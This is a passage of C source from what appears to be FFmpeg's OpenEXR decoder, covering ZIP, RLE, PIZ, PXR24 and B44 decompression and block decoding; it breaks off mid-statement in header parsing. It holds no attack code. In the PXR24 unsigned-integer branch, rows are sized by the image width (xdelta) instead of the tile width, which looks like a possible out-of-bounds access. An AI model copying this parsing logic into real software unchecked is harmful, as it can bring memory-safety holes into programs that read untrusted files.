HALF_FLOAT_MAX_BIASED_EXP (0x1F << 10) /** * Convert a half float as a uint16_t into a full float. * * @param hf half float as uint16_t * * @return float value */ static union av_intfloat32 exr_half2float(uint16_t hf) { unsigned int sign = (unsigned int) (hf >> 15); unsigned int mantissa = (unsigned int) (hf & ((1 << 10) - 1)); unsigned int exp = (unsigned int) (hf & HALF_FLOAT_MAX_BIASED_EXP); union av_intfloat32 f; if (exp == HALF_FLOAT_MAX_BIASED_EXP) { // we have a half-float NaN or Inf // half-float NaNs will be converted to a single precision NaN // half-float Infs will be converted to a single precision Inf exp = FLOAT_MAX_BIASED_EXP; if (mantissa) mantissa = (1 << 23) - 1; // set all bits to indicate a NaN } else if (exp == 0x0) { // convert half-float zero/denorm to single precision value if (mantissa) { mantissa <<= 1; exp = HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP; // check for leading 1 in denorm mantissa while (!(mantissa & (1 << 10))) { // for every leading 0, decrement single precision exponent by 1 // and shift half-float mantissa value to the left mantissa <<= 1; exp -= (1 << 23); } // clamp the mantissa to 10 bits mantissa &= ((1 << 10) - 1); // shift left to generate single-precision mantissa of 23 bits mantissa <<= 13; } } else { // shift left to generate single-precision mantissa of 23 bits mantissa <<= 13; // generate single precision biased exponent value exp = (exp << 13) + HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP; } f.i = (sign << 31) | exp | mantissa; return f; } static int zip_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { unsigned long dest_len = uncompressed_size; if (uncompress(td->tmp, &dest_len, src, compressed_size) != Z_OK || dest_len != uncompressed_size) return AVERROR_INVALIDDATA; av_assert1(uncompressed_size % 2 == 0); s->dsp.predictor(td->tmp, uncompressed_size); s->dsp.reorder_pixels(td->uncompressed_data, td->tmp, uncompressed_size); return 0; } static int rle_uncompress(EXRContext *ctx, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { uint8_t *d = td->tmp; const int8_t *s = src; int ssize = compressed_size; int dsize = uncompressed_size; uint8_t *dend = d + dsize; int count; while (ssize > 0) { count = *s++; if (count < 0) { count = -count; if ((dsize -= count) < 0 || (ssize -= count + 1) < 0) return AVERROR_INVALIDDATA; while (count--) *d++ = *s++; } else { count++; if ((dsize -= count) < 0 || (ssize -= 2) < 0) return AVERROR_INVALIDDATA; while (count--) *d++ = *s; s++; } } if (dend != d) return AVERROR_INVALIDDATA; av_assert1(uncompressed_size % 2 == 0); ctx->dsp.predictor(td->tmp, uncompressed_size); ctx->dsp.reorder_pixels(td->uncompressed_data, td->tmp, uncompressed_size); return 0; } #define USHORT_RANGE (1 << 16) #define BITMAP_SIZE (1 << 13) static uint16_t reverse_lut(const uint8_t *bitmap, uint16_t *lut) { int i, k = 0; for (i = 0; i < USHORT_RANGE; i++) if ((i == 0) || (bitmap[i >> 3] & (1 << (i & 7)))) lut[k++] = i; i = k - 1; memset(lut + k, 0, (USHORT_RANGE - k) * 2); return i; } static void apply_lut(const uint16_t *lut, uint16_t *dst, int dsize) { int i; for (i = 0; i < dsize; ++i) dst[i] = lut[dst[i]]; } #define HUF_ENCBITS 16 // literal (value) bit length #define HUF_DECBITS 14 // decoding bit size (>= 8) #define HUF_ENCSIZE ((1 << HUF_ENCBITS) + 1) // encoding table size #define HUF_DECSIZE (1 << HUF_DECBITS) // decoding table size #define HUF_DECMASK (HUF_DECSIZE - 1) typedef struct HufDec { int len; int lit; int *p; } HufDec; static void huf_canonical_code_table(uint64_t *hcode) { uint64_t c, n[59] = { 0 }; int i; for (i = 0; i < HUF_ENCSIZE; ++i) n[hcode[i]] += 1; c = 0; for (i = 58; i > 0; --i) { uint64_t nc = ((c + n[i]) >> 1); n[i] = c; c = nc; } for (i = 0; i < HUF_ENCSIZE; ++i) { int l = hcode[i]; if (l > 0) hcode[i] = l | (n[l]++ << 6); } } #define SHORT_ZEROCODE_RUN 59 #define LONG_ZEROCODE_RUN 63 #define SHORTEST_LONG_RUN (2 + LONG_ZEROCODE_RUN - SHORT_ZEROCODE_RUN) #define LONGEST_LONG_RUN (255 + SHORTEST_LONG_RUN) static int huf_unpack_enc_table(GetByteContext *gb, int32_t im, int32_t iM, uint64_t *hcode) { GetBitContext gbit; int ret = init_get_bits8(&gbit, gb->buffer, bytestream2_get_bytes_left(gb)); if (ret < 0) return ret; for (; im <= iM; im++) { uint64_t l = hcode[im] = get_bits(&gbit, 6); if (l == LONG_ZEROCODE_RUN) { int zerun = get_bits(&gbit, 8) + SHORTEST_LONG_RUN; if (im + zerun > iM + 1) return AVERROR_INVALIDDATA; while (zerun--) hcode[im++] = 0; im--; } else if (l >= SHORT_ZEROCODE_RUN) { int zerun = l - SHORT_ZEROCODE_RUN + 2; if (im + zerun > iM + 1) return AVERROR_INVALIDDATA; while (zerun--) hcode[im++] = 0; im--; } } bytestream2_skip(gb, (get_bits_count(&gbit) + 7) / 8); huf_canonical_code_table(hcode); return 0; } static int huf_build_dec_table(const uint64_t *hcode, int im, int iM, HufDec *hdecod) { for (; im <= iM; im++) { uint64_t c = hcode[im] >> 6; int i, l = hcode[im] & 63; if (c >> l) return AVERROR_INVALIDDATA; if (l > HUF_DECBITS) { HufDec *pl = hdecod + (c >> (l - HUF_DECBITS)); if (pl->len) return AVERROR_INVALIDDATA; pl->lit++; pl->p = av_realloc(pl->p, pl->lit * sizeof(int)); if (!pl->p) return AVERROR(ENOMEM); pl->p[pl->lit - 1] = im; } else if (l) { HufDec *pl = hdecod + (c << (HUF_DECBITS - l)); for (i = 1 << (HUF_DECBITS - l); i > 0; i--, pl++) { if (pl->len || pl->p) return AVERROR_INVALIDDATA; pl->len = l; pl->lit = im; } } } return 0; } #define get_char(c, lc, gb) \ { \ c = (c << 8) | bytestream2_get_byte(gb); \ lc += 8; \ } #define get_code(po, rlc, c, lc, gb, out, oe, outb) \ { \ if (po == rlc) { \ if (lc < 8) \ get_char(c, lc, gb); \ lc -= 8; \ \ cs = c >> lc; \ \ if (out + cs > oe || out == outb) \ return AVERROR_INVALIDDATA; \ \ s = out[-1]; \ \ while (cs-- > 0) \ *out++ = s; \ } else if (out < oe) { \ *out++ = po; \ } else { \ return AVERROR_INVALIDDATA; \ } \ } static int huf_decode(const uint64_t *hcode, const HufDec *hdecod, GetByteContext *gb, int nbits, int rlc, int no, uint16_t *out) { uint64_t c = 0; uint16_t *outb = out; uint16_t *oe = out + no; const uint8_t *ie = gb->buffer + (nbits + 7) / 8; // input byte size uint8_t cs; uint16_t s; int i, lc = 0; while (gb->buffer < ie) { get_char(c, lc, gb); while (lc >= HUF_DECBITS) { const HufDec pl = hdecod[(c >> (lc - HUF_DECBITS)) & HUF_DECMASK]; if (pl.len) { lc -= pl.len; get_code(pl.lit, rlc, c, lc, gb, out, oe, outb); } else { int j; if (!pl.p) return AVERROR_INVALIDDATA; for (j = 0; j < pl.lit; j++) { int l = hcode[pl.p[j]] & 63; while (lc < l && bytestream2_get_bytes_left(gb) > 0) get_char(c, lc, gb); if (lc >= l) { if ((hcode[pl.p[j]] >> 6) == ((c >> (lc - l)) & ((1LL << l) - 1))) { lc -= l; get_code(pl.p[j], rlc, c, lc, gb, out, oe, outb); break; } } } if (j == pl.lit) return AVERROR_INVALIDDATA; } } } i = (8 - nbits) & 7; c >>= i; lc -= i; while (lc > 0) { const HufDec pl = hdecod[(c << (HUF_DECBITS - lc)) & HUF_DECMASK]; if (pl.len && lc >= pl.len) { lc -= pl.len; get_code(pl.lit, rlc, c, lc, gb, out, oe, outb); } else { return AVERROR_INVALIDDATA; } } if (out - outb != no) return AVERROR_INVALIDDATA; return 0; } static int huf_uncompress(GetByteContext *gb, uint16_t *dst, int dst_size) { int32_t src_size, im, iM; uint32_t nBits; uint64_t *freq; HufDec *hdec; int ret, i; src_size = bytestream2_get_le32(gb); im = bytestream2_get_le32(gb); iM = bytestream2_get_le32(gb); bytestream2_skip(gb, 4); nBits = bytestream2_get_le32(gb); if (im < 0 || im >= HUF_ENCSIZE || iM < 0 || iM >= HUF_ENCSIZE || src_size < 0) return AVERROR_INVALIDDATA; bytestream2_skip(gb, 4); freq = av_mallocz_array(HUF_ENCSIZE, sizeof(*freq)); hdec = av_mallocz_array(HUF_DECSIZE, sizeof(*hdec)); if (!freq || !hdec) { ret = AVERROR(ENOMEM); goto fail; } if ((ret = huf_unpack_enc_table(gb, im, iM, freq)) < 0) goto fail; if (nBits > 8 * bytestream2_get_bytes_left(gb)) { ret = AVERROR_INVALIDDATA; goto fail; } if ((ret = huf_build_dec_table(freq, im, iM, hdec)) < 0) goto fail; ret = huf_decode(freq, hdec, gb, nBits, iM, dst_size, dst); fail: for (i = 0; i < HUF_DECSIZE; i++) if (hdec) av_freep(&hdec[i].p); av_free(freq); av_free(hdec); return ret; } static inline void wdec14(uint16_t l, uint16_t h, uint16_t *a, uint16_t *b) { int16_t ls = l; int16_t hs = h; int hi = hs; int ai = ls + (hi & 1) + (hi >> 1); int16_t as = ai; int16_t bs = ai - hi; *a = as; *b = bs; } #define NBITS 16 #define A_OFFSET (1 << (NBITS - 1)) #define MOD_MASK ((1 << NBITS) - 1) static inline void wdec16(uint16_t l, uint16_t h, uint16_t *a, uint16_t *b) { int m = l; int d = h; int bb = (m - (d >> 1)) & MOD_MASK; int aa = (d + bb - A_OFFSET) & MOD_MASK; *b = bb; *a = aa; } static void wav_decode(uint16_t *in, int nx, int ox, int ny, int oy, uint16_t mx) { int w14 = (mx < (1 << 14)); int n = (nx > ny) ? ny : nx; int p = 1; int p2; while (p <= n) p <<= 1; p >>= 1; p2 = p; p >>= 1; while (p >= 1) { uint16_t *py = in; uint16_t *ey = in + oy * (ny - p2); uint16_t i00, i01, i10, i11; int oy1 = oy * p; int oy2 = oy * p2; int ox1 = ox * p; int ox2 = ox * p2; for (; py <= ey; py += oy2) { uint16_t *px = py; uint16_t *ex = py + ox * (nx - p2); for (; px <= ex; px += ox2) { uint16_t *p01 = px + ox1; uint16_t *p10 = px + oy1; uint16_t *p11 = p10 + ox1; if (w14) { wdec14(*px, *p10, &i00, &i10); wdec14(*p01, *p11, &i01, &i11); wdec14(i00, i01, px, p01); wdec14(i10, i11, p10, p11); } else { wdec16(*px, *p10, &i00, &i10); wdec16(*p01, *p11, &i01, &i11); wdec16(i00, i01, px, p01); wdec16(i10, i11, p10, p11); } } if (nx & p) { uint16_t *p10 = px + oy1; if (w14) wdec14(*px, *p10, &i00, p10); else wdec16(*px, *p10, &i00, p10); *px = i00; } } if (ny & p) { uint16_t *px = py; uint16_t *ex = py + ox * (nx - p2); for (; px <= ex; px += ox2) { uint16_t *p01 = px + ox1; if (w14) wdec14(*px, *p01, &i00, p01); else wdec16(*px, *p01, &i00, p01); *px = i00; } } p2 = p; p >>= 1; } } static int piz_uncompress(EXRContext *s, const uint8_t *src, int ssize, int dsize, EXRThreadData *td) { GetByteContext gb; uint16_t maxval, min_non_zero, max_non_zero; uint16_t *ptr; uint16_t *tmp = (uint16_t *)td->tmp; uint16_t *out; uint16_t *in; int ret, i, j; int pixel_half_size;/* 1 for half, 2 for float and uint32 */ EXRChannel *channel; int tmp_offset; if (!td->bitmap) td->bitmap = av_malloc(BITMAP_SIZE); if (!td->lut) td->lut = av_malloc(1 << 17); if (!td->bitmap || !td->lut) { av_freep(&td->bitmap); av_freep(&td->lut); return AVERROR(ENOMEM); } bytestream2_init(&gb, src, ssize); min_non_zero = bytestream2_get_le16(&gb); max_non_zero = bytestream2_get_le16(&gb); if (max_non_zero >= BITMAP_SIZE) return AVERROR_INVALIDDATA; memset(td->bitmap, 0, FFMIN(min_non_zero, BITMAP_SIZE)); if (min_non_zero <= max_non_zero) bytestream2_get_buffer(&gb, td->bitmap + min_non_zero, max_non_zero - min_non_zero + 1); memset(td->bitmap + max_non_zero + 1, 0, BITMAP_SIZE - max_non_zero - 1); maxval = reverse_lut(td->bitmap, td->lut); ret = huf_uncompress(&gb, tmp, dsize / sizeof(uint16_t)); if (ret) return ret; ptr = tmp; for (i = 0; i < s->nb_channels; i++) { channel = &s->channels[i]; if (channel->pixel_type == EXR_HALF) pixel_half_size = 1; else pixel_half_size = 2; for (j = 0; j < pixel_half_size; j++) wav_decode(ptr + j, td->xsize, pixel_half_size, td->ysize, td->xsize * pixel_half_size, maxval); ptr += td->xsize * td->ysize * pixel_half_size; } apply_lut(td->lut, tmp, dsize / sizeof(uint16_t)); out = (uint16_t *)td->uncompressed_data; for (i = 0; i < td->ysize; i++) { tmp_offset = 0; for (j = 0; j < s->nb_channels; j++) { channel = &s->channels[j]; if (channel->pixel_type == EXR_HALF) pixel_half_size = 1; else pixel_half_size = 2; in = tmp + tmp_offset * td->xsize * td->ysize + i * td->xsize * pixel_half_size; tmp_offset += pixel_half_size; #if HAVE_BIGENDIAN s->bbdsp.bswap16_buf(out, in, td->xsize * pixel_half_size); #else memcpy(out, in, td->xsize * 2 * pixel_half_size); #endif out += td->xsize * pixel_half_size; } } return 0; } static int pxr24_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { unsigned long dest_len, expected_len = 0; const uint8_t *in = td->tmp; uint8_t *out; int c, i, j; for (i = 0; i < s->nb_channels; i++) { if (s->channels[i].pixel_type == EXR_FLOAT) { expected_len += (td->xsize * td->ysize * 3);/* PRX 24 store float in 24 bit instead of 32 */ } else if (s->channels[i].pixel_type == EXR_HALF) { expected_len += (td->xsize * td->ysize * 2); } else {//UINT 32 expected_len += (td->xsize * td->ysize * 4); } } dest_len = expected_len; if (uncompress(td->tmp, &dest_len, src, compressed_size) != Z_OK) { return AVERROR_INVALIDDATA; } else if (dest_len != expected_len) { return AVERROR_INVALIDDATA; } out = td->uncompressed_data; for (i = 0; i < td->ysize; i++) for (c = 0; c < s->nb_channels; c++) { EXRChannel *channel = &s->channels[c]; const uint8_t *ptr[4]; uint32_t pixel = 0; switch (channel->pixel_type) { case EXR_FLOAT: ptr[0] = in; ptr[1] = ptr[0] + td->xsize; ptr[2] = ptr[1] + td->xsize; in = ptr[2] + td->xsize; for (j = 0; j < td->xsize; ++j) { uint32_t diff = ((unsigned)*(ptr[0]++) << 24) | (*(ptr[1]++) << 16) | (*(ptr[2]++) << 8); pixel += diff; bytestream_put_le32(&out, pixel); } break; case EXR_HALF: ptr[0] = in; ptr[1] = ptr[0] + td->xsize; in = ptr[1] + td->xsize; for (j = 0; j < td->xsize; j++) { uint32_t diff = (*(ptr[0]++) << 8) | *(ptr[1]++); pixel += diff; bytestream_put_le16(&out, pixel); } break; case EXR_UINT: ptr[0] = in; ptr[1] = ptr[0] + s->xdelta; ptr[2] = ptr[1] + s->xdelta; ptr[3] = ptr[2] + s->xdelta; in = ptr[3] + s->xdelta; for (j = 0; j < s->xdelta; ++j) { uint32_t diff = ((uint32_t)*(ptr[0]++) << 24) | (*(ptr[1]++) << 16) | (*(ptr[2]++) << 8 ) | (*(ptr[3]++)); pixel += diff; bytestream_put_le32(&out, pixel); } break; default: return AVERROR_INVALIDDATA; } } return 0; } static void unpack_14(const uint8_t b[14], uint16_t s[16]) { unsigned short shift = (b[ 2] >> 2) & 15; unsigned short bias = (0x20 << shift); int i; s[ 0] = (b[0] << 8) | b[1]; s[ 4] = s[ 0] + ((((b[ 2] << 4) | (b[ 3] >> 4)) & 0x3f) << shift) - bias; s[ 8] = s[ 4] + ((((b[ 3] << 2) | (b[ 4] >> 6)) & 0x3f) << shift) - bias; s[12] = s[ 8] + ((b[ 4] & 0x3f) << shift) - bias; s[ 1] = s[ 0] + ((b[ 5] >> 2) << shift) - bias; s[ 5] = s[ 4] + ((((b[ 5] << 4) | (b[ 6] >> 4)) & 0x3f) << shift) - bias; s[ 9] = s[ 8] + ((((b[ 6] << 2) | (b[ 7] >> 6)) & 0x3f) << shift) - bias; s[13] = s[12] + ((b[ 7] & 0x3f) << shift) - bias; s[ 2] = s[ 1] + ((b[ 8] >> 2) << shift) - bias; s[ 6] = s[ 5] + ((((b[ 8] << 4) | (b[ 9] >> 4)) & 0x3f) << shift) - bias; s[10] = s[ 9] + ((((b[ 9] << 2) | (b[10] >> 6)) & 0x3f) << shift) - bias; s[14] = s[13] + ((b[10] & 0x3f) << shift) - bias; s[ 3] = s[ 2] + ((b[11] >> 2) << shift) - bias; s[ 7] = s[ 6] + ((((b[11] << 4) | (b[12] >> 4)) & 0x3f) << shift) - bias; s[11] = s[10] + ((((b[12] << 2) | (b[13] >> 6)) & 0x3f) << shift) - bias; s[15] = s[14] + ((b[13] & 0x3f) << shift) - bias; for (i = 0; i < 16; ++i) { if (s[i] & 0x8000) s[i] &= 0x7fff; else s[i] = ~s[i]; } } static void unpack_3(const uint8_t b[3], uint16_t s[16]) { int i; s[0] = (b[0] << 8) | b[1]; if (s[0] & 0x8000) s[0] &= 0x7fff; else s[0] = ~s[0]; for (i = 1; i < 16; i++) s[i] = s[0]; } static int b44_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { const int8_t *sr = src; int stay_to_uncompress = compressed_size; int nb_b44_block_w, nb_b44_block_h; int index_tl_x, index_tl_y, index_out, index_tmp; uint16_t tmp_buffer[16]; /* B44 use 4x4 half float pixel */ int c, iY, iX, y, x; int target_channel_offset = 0; /* calc B44 block count */ nb_b44_block_w = td->xsize / 4; if ((td->xsize % 4) != 0) nb_b44_block_w++; nb_b44_block_h = td->ysize / 4; if ((td->ysize % 4) != 0) nb_b44_block_h++; for (c = 0; c < s->nb_channels; c++) { if (s->channels[c].pixel_type == EXR_HALF) {/* B44 only compress half float data */ for (iY = 0; iY < nb_b44_block_h; iY++) { for (iX = 0; iX < nb_b44_block_w; iX++) {/* For each B44 block */ if (stay_to_uncompress < 3) { av_log(s, AV_LOG_ERROR, "Not enough data for B44A block: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } if (src[compressed_size - stay_to_uncompress + 2] == 0xfc) { /* B44A block */ unpack_3(sr, tmp_buffer); sr += 3; stay_to_uncompress -= 3; } else {/* B44 Block */ if (stay_to_uncompress < 14) { av_log(s, AV_LOG_ERROR, "Not enough data for B44 block: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } unpack_14(sr, tmp_buffer); sr += 14; stay_to_uncompress -= 14; } /* copy data to uncompress buffer (B44 block can exceed target resolution)*/ index_tl_x = iX * 4; index_tl_y = iY * 4; for (y = index_tl_y; y < FFMIN(index_tl_y + 4, td->ysize); y++) { for (x = index_tl_x; x < FFMIN(index_tl_x + 4, td->xsize); x++) { index_out = target_channel_offset * td->xsize + y * td->channel_line_size + 2 * x; index_tmp = (y-index_tl_y) * 4 + (x-index_tl_x); td->uncompressed_data[index_out] = tmp_buffer[index_tmp] & 0xff; td->uncompressed_data[index_out + 1] = tmp_buffer[index_tmp] >> 8; } } } } target_channel_offset += 2; } else {/* Float or UINT 32 channel */ if (stay_to_uncompress < td->ysize * td->xsize * 4) { av_log(s, AV_LOG_ERROR, "Not enough data for uncompress channel: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } for (y = 0; y < td->ysize; y++) { index_out = target_channel_offset * td->xsize + y * td->channel_line_size; memcpy(&td->uncompressed_data[index_out], sr, td->xsize * 4); sr += td->xsize * 4; } target_channel_offset += 4; stay_to_uncompress -= td->ysize * td->xsize * 4; } } return 0; } static int decode_block(AVCodecContext *avctx, void *tdata, int jobnr, int threadnr) { EXRContext *s = avctx->priv_data; AVFrame *const p = s->picture; EXRThreadData *td = &s->thread_data[threadnr]; const uint8_t *channel_buffer[4] = { 0 }; const uint8_t *buf = s->buf; uint64_t line_offset, uncompressed_size; uint8_t *ptr; uint32_t data_size; int line, col = 0; uint64_t tile_x, tile_y, tile_level_x, tile_level_y; const uint8_t *src; int step = s->desc->flags & AV_PIX_FMT_FLAG_FLOAT ? 4 : 2 * s->desc->nb_components; int bxmin = 0, axmax = 0, window_xoffset = 0; int window_xmin, window_xmax, window_ymin, window_ymax; int data_xoffset, data_yoffset, data_window_offset, xsize, ysize; int i, x, buf_size = s->buf_size; int c, rgb_channel_count; float one_gamma = 1.0f / s->gamma; avpriv_trc_function trc_func = avpriv_get_trc_function_from_trc(s->apply_trc_type); int ret; line_offset = AV_RL64(s->gb.buffer + jobnr * 8); if (s->is_tile) { if (buf_size < 20 || line_offset > buf_size - 20) return AVERROR_INVALIDDATA; src = buf + line_offset + 20; tile_x = AV_RL32(src - 20); tile_y = AV_RL32(src - 16); tile_level_x = AV_RL32(src - 12); tile_level_y = AV_RL32(src - 8); data_size = AV_RL32(src - 4); if (data_size <= 0 || data_size > buf_size - line_offset - 20) return AVERROR_INVALIDDATA; if (tile_level_x || tile_level_y) { /* tile level, is not the full res level */ avpriv_report_missing_feature(s->avctx, "Subres tile before full res tile"); return AVERROR_PATCHWELCOME; } line = s->ymin + s->tile_attr.ySize * tile_y; col = s->tile_attr.xSize * tile_x; if (line < s->ymin || line > s->ymax || s->xmin + col < s->xmin || s->xmin + col > s->xmax) return AVERROR_INVALIDDATA; td->ysize = FFMIN(s->tile_attr.ySize, s->ydelta - tile_y * s->tile_attr.ySize); td->xsize = FFMIN(s->tile_attr.xSize, s->xdelta - tile_x * s->tile_attr.xSize); if (td->xsize * (uint64_t)s->current_channel_offset > INT_MAX) return AVERROR_INVALIDDATA; td->channel_line_size = td->xsize * s->current_channel_offset;/* uncompress size of one line */ uncompressed_size = td->channel_line_size * (uint64_t)td->ysize;/* uncompress size of the block */ } else { if (buf_size < 8 || line_offset > buf_size - 8) return AVERROR_INVALIDDATA; src = buf + line_offset + 8; line = AV_RL32(src - 8); if (line < s->ymin || line > s->ymax) return AVERROR_INVALIDDATA; data_size = AV_RL32(src - 4); if (data_size <= 0 || data_size > buf_size - line_offset - 8) return AVERROR_INVALIDDATA; td->ysize = FFMIN(s->scan_lines_per_block, s->ymax - line + 1); /* s->ydelta - line ?? */ td->xsize = s->xdelta; if (td->xsize * (uint64_t)s->current_channel_offset > INT_MAX) return AVERROR_INVALIDDATA; td->channel_line_size = td->xsize * s->current_channel_offset;/* uncompress size of one line */ uncompressed_size = td->channel_line_size * (uint64_t)td->ysize;/* uncompress size of the block */ if ((s->compression == EXR_RAW && (data_size != uncompressed_size || line_offset > buf_size - uncompressed_size)) || (s->compression != EXR_RAW && (data_size > uncompressed_size || line_offset > buf_size - data_size))) { return AVERROR_INVALIDDATA; } } window_xmin = FFMIN(avctx->width, FFMAX(0, s->xmin + col)); window_xmax = FFMIN(avctx->width, FFMAX(0, s->xmin + col + td->xsize)); window_ymin = FFMIN(avctx->height, FFMAX(0, line )); window_ymax = FFMIN(avctx->height, FFMAX(0, line + td->ysize)); xsize = window_xmax - window_xmin; ysize = window_ymax - window_ymin; /* tile or scanline not visible skip decoding */ if (xsize <= 0 || ysize <= 0) return 0; /* is the first tile or is a scanline */ if(col == 0) { window_xmin = 0; /* pixels to add at the left of the display window */ window_xoffset = FFMAX(0, s->xmin); /* bytes to add at the left of the display window */ bxmin = window_xoffset * step; } /* is the last tile or is a scanline */ if(col + td->xsize == s->xdelta) { window_xmax = avctx->width; /* bytes to add at the right of the display window */ axmax = FFMAX(0, (avctx->width - (s->xmax + 1))) * step; } if (data_size < uncompressed_size || s->is_tile) { /* td->tmp is use for tile reorganization */ av_fast_padded_malloc(&td->tmp, &td->tmp_size, uncompressed_size); if (!td->tmp) return AVERROR(ENOMEM); } if (data_size < uncompressed_size) { av_fast_padded_malloc(&td->uncompressed_data, &td->uncompressed_size, uncompressed_size + 64);/* Force 64 padding for AVX2 reorder_pixels dst */ if (!td->uncompressed_data) return AVERROR(ENOMEM); ret = AVERROR_INVALIDDATA; switch (s->compression) { case EXR_ZIP1: case EXR_ZIP16: ret = zip_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_PIZ: ret = piz_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_PXR24: ret = pxr24_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_RLE: ret = rle_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_B44: case EXR_B44A: ret = b44_uncompress(s, src, data_size, uncompressed_size, td); break; } if (ret < 0) { av_log(avctx, AV_LOG_ERROR, "decode_block() failed.\n"); return ret; } src = td->uncompressed_data; } /* offsets to crop data outside display window */ data_xoffset = FFABS(FFMIN(0, s->xmin + col)) * (s->pixel_type == EXR_HALF ? 2 : 4); data_yoffset = FFABS(FFMIN(0, line)); data_window_offset = (data_yoffset * td->channel_line_size) + data_xoffset; if (!s->is_luma) { channel_buffer[0] = src + (td->xsize * s->channel_offsets[0]) + data_window_offset; channel_buffer[1] = src + (td->xsize * s->channel_offsets[1]) + data_window_offset; channel_buffer[2] = src + (td->xsize * s->channel_offsets[2]) + data_window_offset; rgb_channel_count = 3; } else { /* put y data in the first channel_buffer */ channel_buffer[0] = src + (td->xsize * s->channel_offsets[1]) + data_window_offset; rgb_channel_count = 1; } if (s->channel_offsets[3] >= 0) channel_buffer[3] = src + (td->xsize * s->channel_offsets[3]) + data_window_offset; if (s->desc->flags & AV_PIX_FMT_FLAG_FLOAT) { /* todo: change this when a floating point pixel format with luma with alpha is implemented */ int channel_count = s->channel_offsets[3] >= 0 ? 4 : rgb_channel_count; if (s->is_luma) { channel_buffer[1] = channel_buffer[0]; channel_buffer[2] = channel_buffer[0]; } for (c = 0; c < channel_count; c++) { int plane = s->desc->comp[c].plane; ptr = p->data[plane] + window_ymin * p->linesize[plane] + (window_xmin * 4); for (i = 0; i < ysize; i++, ptr += p->linesize[plane]) { const uint8_t *src; union av_intfloat32 *ptr_x; src = channel_buffer[c]; ptr_x = (union av_intfloat32 *)ptr; // Zero out the start if xmin is not 0 memset(ptr_x, 0, bxmin); ptr_x += window_xoffset; if (s->pixel_type == EXR_FLOAT) { // 32-bit union av_intfloat32 t; if (trc_func && c < 3) { for (x = 0; x < xsize; x++) { t.i = bytestream_get_le32(&src); t.f = trc_func(t.f); *ptr_x++ = t; } } else { for (x = 0; x < xsize; x++) { t.i = bytestream_get_le32(&src); if (t.f > 0.0f && c < 3) /* avoid negative values */ t.f = powf(t.f, one_gamma); *ptr_x++ = t; } } } else if (s->pixel_type == EXR_HALF) { // 16-bit if (c < 3 || !trc_func) { for (x = 0; x < xsize; x++) { *ptr_x++ = s->gamma_table[bytestream_get_le16(&src)]; } } else { for (x = 0; x < xsize; x++) { *ptr_x++ = exr_half2float(bytestream_get_le16(&src));; } } } // Zero out the end if xmax+1 is not w memset(ptr_x, 0, axmax); channel_buffer[c] += td->channel_line_size; } } } else { av_assert1(s->pixel_type == EXR_UINT); ptr = p->data[0] + window_ymin * p->linesize[0] + (window_xmin * s->desc->nb_components * 2); for (i = 0; i < ysize; i++, ptr += p->linesize[0]) { const uint8_t * a; const uint8_t *rgb[3]; uint16_t *ptr_x; for (c = 0; c < rgb_channel_count; c++) { rgb[c] = channel_buffer[c]; } if (channel_buffer[3]) a = channel_buffer[3]; ptr_x = (uint16_t *) ptr; // Zero out the start if xmin is not 0 memset(ptr_x, 0, bxmin); ptr_x += window_xoffset * s->desc->nb_components; for (x = 0; x < xsize; x++) { for (c = 0; c < rgb_channel_count; c++) { *ptr_x++ = bytestream_get_le32(&rgb[c]) >> 16; } if (channel_buffer[3]) *ptr_x++ = bytestream_get_le32(&a) >> 16; } // Zero out the end if xmax+1 is not w memset(ptr_x, 0, axmax); channel_buffer[0] += td->channel_line_size; channel_buffer[1] += td->channel_line_size; channel_buffer[2] += td->channel_line_size; if (channel_buffer[3]) channel_buffer[3] += td->channel_line_size; } } return 0; } /** * Check if the variable name corresponds to its data type. * * @param s the EXRContext * @param value_name name of the variable to check * @param value_type type of the variable to check * @param minimum_length minimum length of the variable data * * @return bytes to read containing variable data * -1 if variable is not found * 0 if buffer ended prematurely */ static int check_header_variable(EXRContext *s, const char *value_name, const char *value_type, unsigned int minimum_length) { int var_size = -1; if (bytestream2_get_bytes_left(&s->gb) >= minimum_length && !strcmp(s->gb.buffer, value_name)) { // found value_name, jump to value_type (null terminated strings) s->gb.buffer += strlen(value_name) + 1; if (!strcmp(s->gb.buffer, value_type)) { s->gb.buffer += strlen(value_type) + 1; var_size = bytestream2_get_le32(&s->gb); // don't go read past boundaries if (var_size > bytestream2_get_bytes_left(&s->gb)) var_size = 0; } else { // value_type not found, reset the buffer s->gb.buffer -= strlen(value_name) + 1; av_log(s->avctx, AV_LOG_WARNING, "Unknown data type %s for header variable %s.\n", value_type, value_name); } } return var_size; } static int decode_header(EXRContext *s, AVFrame *frame) { AVDictionary *metadata = NULL; int magic_number, version, i, flags, sar = 0; int layer_match = 0; int ret; int dup_channels = 0; s->current_channel_offset = 0; s->xmin = ~0; s->xmax = ~0; s->ymin = ~0; s->ymax = ~0; s->xdelta = ~0; s->ydelta = ~0; s->channel_offsets[0] = -1; s->channel_offsets[1] = -1; s->channel_offsets[2] = -1; s->channel_offsets[3] = -1; s->pixel_type = EXR_UNKNOWN; s->compression = EXR_UNKN; s->nb_channels = 0; s->w = 0; s->h = 0; s->tile_attr.xSize = -1; s->tile_attr.ySize = -1; s->is_tile = 0; s->is_luma = 0; if (bytestream2_get_bytes_left(&s->gb) < 10) { av_log(s->avctx, AV_LOG_ERROR, "Header too short to parse.\n"); return AVERROR_INVALIDDATA; } magic_number = bytestream2_get_le32(&s->gb); if (magic_number != 20000630) { /* As per documentation of OpenEXR, it is supposed to be * int 20000630 little-endian */ av_log(s->avctx, AV_LOG_ERROR, "Wrong magic number %d.\n", magic_number); return AVERROR_INVALIDDATA; } version = bytestream2_get_byte(&s->gb); if (version != 2) { avpriv_report_missing_feature(s->avctx, "Version %d", version); return AVERROR_PATCHWELCOME; } flags = bytestream2_get_le24(&s->gb); if (flags & 0x02) s->is_tile = 1; if (flags & 